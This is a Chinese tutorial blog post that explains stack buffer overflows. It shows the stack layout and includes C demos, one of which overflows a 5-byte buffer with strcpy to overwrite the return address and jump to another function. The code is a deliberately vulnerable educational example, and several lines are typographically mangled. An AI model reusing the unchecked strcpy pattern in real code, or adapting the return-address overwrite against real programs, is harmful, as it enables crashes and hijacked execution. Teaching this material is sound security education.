为什么缓冲区溢出会带来危害?会带来哪些危害?

为什么缓冲区溢出会带来危害?会带来哪些危害?,第1张

  堆栈溢出对于我们软件开发人员来说,最严重的后果是破坏了内存中的指针,及其造成的一系列难查的bug。

  在当前网络与分布式系统安全中,被广泛利用的50%以上都是缓冲区溢出,其中最著名的例子是1988年利用fingerd漏洞的蠕虫。而缓冲区溢出中,最为危险的是堆栈溢出,因为入侵者可以利用堆栈溢出,在函数返回时改变返回程序的地址,让其跳转到任意地址,带来的危害一种是程序崩溃导致拒绝服务,另外一种就是跳转并且执行一段恶意代码,比如得到shell,然后为所欲为。我在这里演示一下堆栈溢出的原理。

  堆栈有关概念

  首先,介绍一下,与堆栈有关的一些概念:动态内存有两种,堆栈(stack),堆(heap)。堆栈在内存上端,堆在内存下端,当程序执行时,堆栈向下朝堆增长,堆向上朝堆栈增长。通常,局部变量,返回地址,函数的参数,是放在堆栈里面的。

  低地址

  局部变量

  旧的基指针

  返回地址

  函数的参数(左)

  函数的参数(。。。)

  函数的参数(右)

  高地址

  我们可以写一个小程序测试

  Copycode

  #include“string.h”

  voidtest(char*a);

  intmain(intargc,char*argv[])

  {

  chara[]=“hello”;

  test(a);

  return0;

  }

  voidtest(char*a)

  {

  char*j;

  charbuf[5];

  strcpy(buf,a);

  printf(“&main=%p\n”,&main);

  printf(“&buf=%p\n”,&buf);

  printf(“&a=%p\n”,&a);

  printf(“&test=%p\n”,&test);

  for(j=buf-8;j《((char*)&a)+8;j++)

  printf(“%p:0x%x\n”,j,*(unsignedchar*)j);

  }

  Main定义一个字符串hello,然后调用test函数,在test函数中,有一个长度为5的局部字符串变量buf,然后把复制参数a复制到buf中,这里因为没有a的长度小于等于buf的长度,所以并没有溢出buf。然后显示各个函数,参数,局部变量的地址,以及局部字符串变量buf和参数a之间的地址,我们看到:

  Quote:

  &main=0040100A

  &buf=0012FF14

  &a=0012FF28

  &test=00401005

  0012FF0C:0xcc

  0012FF0D:0xcc

  0012FF0E:0xcc

  0012FF0F:0xcc

  0012FF10:0xcc

  0012FF11:0xcc

  0012FF12:0xcc

  0012FF13:0xcc

  0012FF14:0x68 h 这里就是buf了!

  0012FF15:0x65 e

  0012FF16:0x6c l

  0012FF17:0x6c l

  0012FF18:0x6f o

  0012FF19:0x0 \0

  0012FF1A:0xcc

  0012FF1B:0xcc

  0012FF1C:0x1c 这里是

  0012FF1D:0xff 两个

  0012FF1E:0x12 旧的

  0012FF1F:0x0 基指针,不管他

  0012FF20:0x80

  0012FF21:0xff

  0012FF22:0x12

  0012FF23:0x0

  0012FF24:0x34 这个就是

  0012FF25:0xb8 返回地址了

  0012FF26:0x40 和main的地址很

  0012FF27:0x0 接近吧!

  0012FF28:0x78 这个是

  0012FF29:0xff 参数a,即

  0012FF2A:0x12

  a字符串的

  0012FF2B:0x0 地址

  0012FF2C:0xe

  0012FF2D:0x0

  0012FF2E:0x0

  0012FF2F:0x0

  由于c编译器不会自己做边界检查的,所以,如果buf中的内容足够长,而不是hello,那么很有可能覆盖掉原来的返回地址,那么程序就会跳转到其他地方,为了试验,我们定义一个简单的函数echo,让test返回的时候跳转到echo。

  用printf(“&echo=%p\n”,&echo);我已经知道了echo的地址是0x0040100f,从上面的例子已经知道从0012ff14到0012ff27要覆盖多少数据,数一下就知道了改写如下:

  Copycode

  #include“string.h”

  voidtest(char*a);

  voidecho();

  intmain(intargc,char*argv[])

  {

  chara[16];

  inTI;

  for(i=0;i《16;i++)a[i]=‘x’; //覆盖不重要的部分,为了达到返回地址

  a[16]=0xf; //在这里改写了返回地址

  a[17]=0x10;

  a[18]=0x40;

  a[19]=0x00; //一方面高字节正好是00,同时00又是字符串的结尾

  test(a);

  return0;

  }

  voidtest(char*a)

  {

  char*j;

  charbuf[5];

  strcpy(buf,a); //分配的缓冲区只有5,结果却有19,溢出了!

  printf(“&main=%p\n”,&main);

  printf(“&buf=%p\n”,&buf);

  printf(“&a=%p\n”,&a);

  printf(“&echo=%p\n”,&echo);

  printf(“&test=%p\n”,&test);

  for(j=buf-8;j《((char*)&a)+8;j++)

  printf(“%p:0x%x\n”,j,*(unsignedchar*)j);

  }

  voidecho()

  {

  printf(“haha!\n”);

  printf(“haha!\n”);

  printf(“haha!\n”);

  printf(“haha!\n”);

  }

  结果,我们看到地址显示完以后,出现了echo函数里面的haha!\nhaha!\nhaha!\nhaha!\n,说明溢出跳转成功,但是,在结束的时候出现了程序崩溃,这是因为echo找不到它的返回地址导致的。但是今天我们的目的,利用溢出执行其他代码的任务已经实现了

欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/dianzi/2717505.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-08-17
下一篇 2022-08-17

发表评论

登录后才能评论

评论列表(0条)

保存